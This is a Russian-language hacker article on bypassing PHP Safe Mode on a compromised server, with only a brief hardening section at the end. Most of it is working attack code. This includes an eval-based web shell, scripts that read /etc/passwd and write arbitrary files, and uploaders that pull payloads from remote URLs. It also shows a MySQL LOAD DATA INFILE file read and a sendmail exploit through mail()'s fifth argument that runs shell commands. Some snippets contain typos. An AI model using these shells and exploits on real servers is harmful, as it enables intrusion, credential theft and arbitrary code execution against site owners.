Начинающего хакера очень часто может испугать то, что на сервере включена опция Safe Mode в PHP. К примеру, хакер взломал какой-то сайт через include(), require(), fopen() уязвимость, а на исполнение команд оболочки у него недостаточно прав. Каждый с этим сталкивался, но не каждый решал эту проблему.

Способов обхода Safe Mode довольно много. Но сначала разберемся в том, что собой представляет Safe
Mode. Safe Mode – это директива в PHP, которая запрещает исполнять system(), passthru(), exec(),
shell_exec и другие функции, выполняющие системные программы.
Если PHP настроен, как Safe Mode + open_basedir, тогда никакие файлы вне open_basedir не обслуживаются PHP, не стартуют программы, которые находятся вне данной директории. 

Список функций ограничиваемых Safe Mode: chgrp, include, require, chmod, link, rmdir, chown, passthru, sumlink, exec, popen, system, fopen, readfile, unlink, file,
rename. Довольно полезная функция для системных администраторов и довольно вредная для хакеров, не так ли? Но, все можно обойти, я в этом убедился уже давно,
чего и тебе желаю. Safe Mode не блокирует функции include(), require(), fopen(), fwrite() и многие другие, не менее полезные. Тогда мы просто реализуем все, что нам нужно с помощью остальных функций PHP не прибегая к запуску системных команд.

Для этой цели нам нужен скрипт, через который мы будем исполнять PHP код.

<?
$shell = get_magic_guotes_gpc();
if (!empty[$_POST['c'] )) {
$c = $shell ? stripslashes($_POST['c']) : $_POST['c'];
} else {
$c = NULL;
}
echo "<form action='' method='POST'>
<texarea cols='80' rows='30' name='c' id='c'>
$c;
</textarea>
<br><input type='submit'></form>";
if (!is_null($c)) eval($c);
?>

Конечно, можно создать полноценный шелл и гиперссылками и выделением, эту работу я оставлю тебе, моя же цель показать примеры использования альтернативных функций PHP. В данном скрипте шелл код нужно вводить без <? и ?>.

Листинг Файлов:

<?
$dir = dir(".");
print "Path: ", realpath($dir->path) . "<br>\n";
while (False !== ($entry = $dir->read())) {
if (is_dir(realpath($dir->path).'/'.$entry)) {
echo "[".$entry."].(is_writable(realpath($dir->path).'/'.$entry) ? ' [W]' : ''). "<br>\n";
} else {
echo $entry.(is_writable(realpath($dir->path).'/'.$entry) ? ' [W]' : ''). "<br>\n";
}
}
$dir->close();
?>

Прекрасно! Вот и нашлась замена “ls -la”. 

$dir = dir("."); - в скобках указывай полный путь к директории, листинг которой хочешь увидеть. Если не знаешь полного пути на сервере, просто запусти код без параметров, и ты увидишь этот путь.

Для просмотра файла используй этот код:

<?
echo nl2br(htmlspecialchars(implode('', file(''))));
?>

file('')))); - к примеру заменяешь на file('/etc/passwd'))))";

Вот она мощь PHP! И это еще не все, если на файл поставлен бит +w, то мы сможем записать в него любую информацию.

<?
$filename = '';
$comecontent = '';
$handle = fopen($filename, 'w');
fwrite($handle, $comecontent);
fclose($handle);
?>

$filename – имя файла
$comecontent – то, что пишем в файл

Если нужно записать PHP информацию используй $comecontent такого вида:

'<'.'?php
//
тут пхп код
?'.'>';

Далее я приведу еще немного полезных общедоступных функций PHP, которые тебе пригодятся.
Сразу говорю, что не все будут работать в правильно настроенном Safe
Mode.

Открытие файла или URL:
fopen($sPathFile, $sModifier);
//модификатор может иметь значения: 
//\'r\' - Открыть только для чтения;
//\'r+\' - Открыть для чтения и записи;
//\'w\' - Открыть только для записи;
//\'a\' - Открыть только для записи в конец файла;
//\'a+\' - Открыть для чтения и записи в конец файла;

Копирование файла:
copy($sOldPath, $sNewPath);

Переименование файла:
rename($sOldPath, $sNewPath)

Удаление файла:
unlink($sPathFile);

Проверка существования файла:
file_exists($sPathFile);

Проверка на поддержку чтения:
is_file($sPathFile);

Такой себе chmod в PHP (в Safe Mode часто отключен):
chmod($sPathFile, 0755) // Обязательно пишите О (нуль) перед указателем режима

Вывод содержимого файла в браузер:
readfile($sPathFile);

Создание директории:
mkdir($sPathFolder, $iChmod);

Удаление директории:
rmdir($sPathFolder);

Кстати, иногда прокатывает довольно интересный способ:

$cmd=`ls`; 
print "<pre>$cmd</pre>"; 

Это способ выполнения системных команд, не требующий вызова функций.
Здесь команда заключается в обратные апострофы. 

Действительно, с обходом Safe Mode возникает очень большая морока, порой легче загрузить, к примеру, perl сценарий, и исполнять команды через него.
PHP дает нам возможность загрузить любой файл, хоть с localhost хоть с удаленного сервера. 

С твоего компьютера:

<?
echo <<<HTML
<form enctype="multipart/form-data" action="$self" method="POST">
<input type="hidden" name="ac" value="upload">
<tr>
<td>File:</td>
<td><input size="48" name="file" type="file"></td>
</tr>
<tr>
<td>Path:</td>
<td><input size="48" name="path" type="text"><input type="submit" value="OK"></td><br>
HTML;

if (isset($_POST['path'])){

$uploadfile = $_POST['path'].$_FILES['file']['name'];
if ($_POST['path']==""){$uploadfile = $_FILES['file']['name'];}

if (copy($_FILES['file']['tmp_name'], $uploadfile)) {
echo "OK $uploadfile\n";
echo "Name:" .$_FILES['file']['name']. "\n";
echo "Ves:" .$_FILES['file']['size']. "\n";

} else {
print "Error:\n";
print_r($_FILES);
}
}
?>

С удаленного компьютера:

<?
echo "<form enctype='multipart/form-data' action='?ac=upload&status=ok' method=post>
<input type='text' name='file3' value='http://' size=40><br>
ServerPath: <br>
<input type='text' name='file2' value='$docr/' size=40><br>
<input type='submit' value='OK'></form>";

if (!isset($status)) downfiles();

else
{

$data = @implode("", file($file3));
$fp = @fopen($file2, "wb");
@fputs($fp, $data);
$ok = @fclose($fp);
if($ok)
{
$size = filesize($file2)/1024;
$sizef = sprintf("%.2f", $size);

print "<br><center>OK: <b>ves <u>$file2</u> ves</b> (".$sizef."??) </center>";
}
else
{
print "<br><center><font color=red size = 2><b>error</b></font></center>";
}
}

?>

Также файл можно загрузить через ftp:

<?
ftp_connect(хост)
ftp_login(ftp_ресурс, username, password)
ftp_cdup(директория ftp ресурса)
ftp_get(ftp_ресурс, имя локального файла, дистанционный файл, режим копирования)
//
Режим обязан быть FTP_ASCII или FTP_BINARY
ftp_quit(ftp_ресурс)
ftp_close(хост)
?> 

Еще один способ обхода Safe Mode заключается библиотека mysql, через функции которой можно производить действия с произвольными файлами. Юзай оператор LOAD DATA и будет тебе счастье.

CREATE TABLE `test` ( `file` LONGBLOB NOT NULL ); 
загрузка файла в таблицу
LOAD DATA INFILE "/etc/passwd" INTO TABLE test;
вывод содержимого файла и удаление таблицы
SELECT * FROM test; DROP TABLE test;

Также в пятом аргументе функции mail() была найдена уязвимость, которая позволяет передавать опции командной строки в
sendmail:

<?
$script=tempnam("/tmp", "script");
$cf=tempnam("/tmp", "cf");

$fd = fopen($cf, "w");
fwrite($fd, "OQ/tmp
Sparse=0
R$*" . chr(9) . "$#local $@ $1 $: $1
Mlocal, P=/bin/sh, A=sh $script");
fclose($fd);

$fd = fopen($script, "w");
fwrite($fd, "rm -f $script $cf; ");
fwrite($fd, $cmd);
fclose($fd);

mail("nobody", "", "", "", "-C$cf");
?>

Защита

Отредактируй php.ini:

sql.safe_mode = On
safe_mode_gid = On
safe_mode = On 🙂

Установить safe_mode_include_dir и safe_mode_exec_dir.

disable_functions – тут нужно запретить неиспользуемые на сервере функции, phpinfo() и остальные.

И не забуть обновлять программное обеспечение на своем сервере.

Если что, пиши, я всегда помогу настроить тебе сервер на определенную плату 😉

Check Also

Туннель во времени. Выводим данные с компьютера через Network Time Protocol

Содержание статьиЧто такое NTPСтруктура пакета NTPОграничения на трафик по порту UDP-123Ко…

Оставить мнение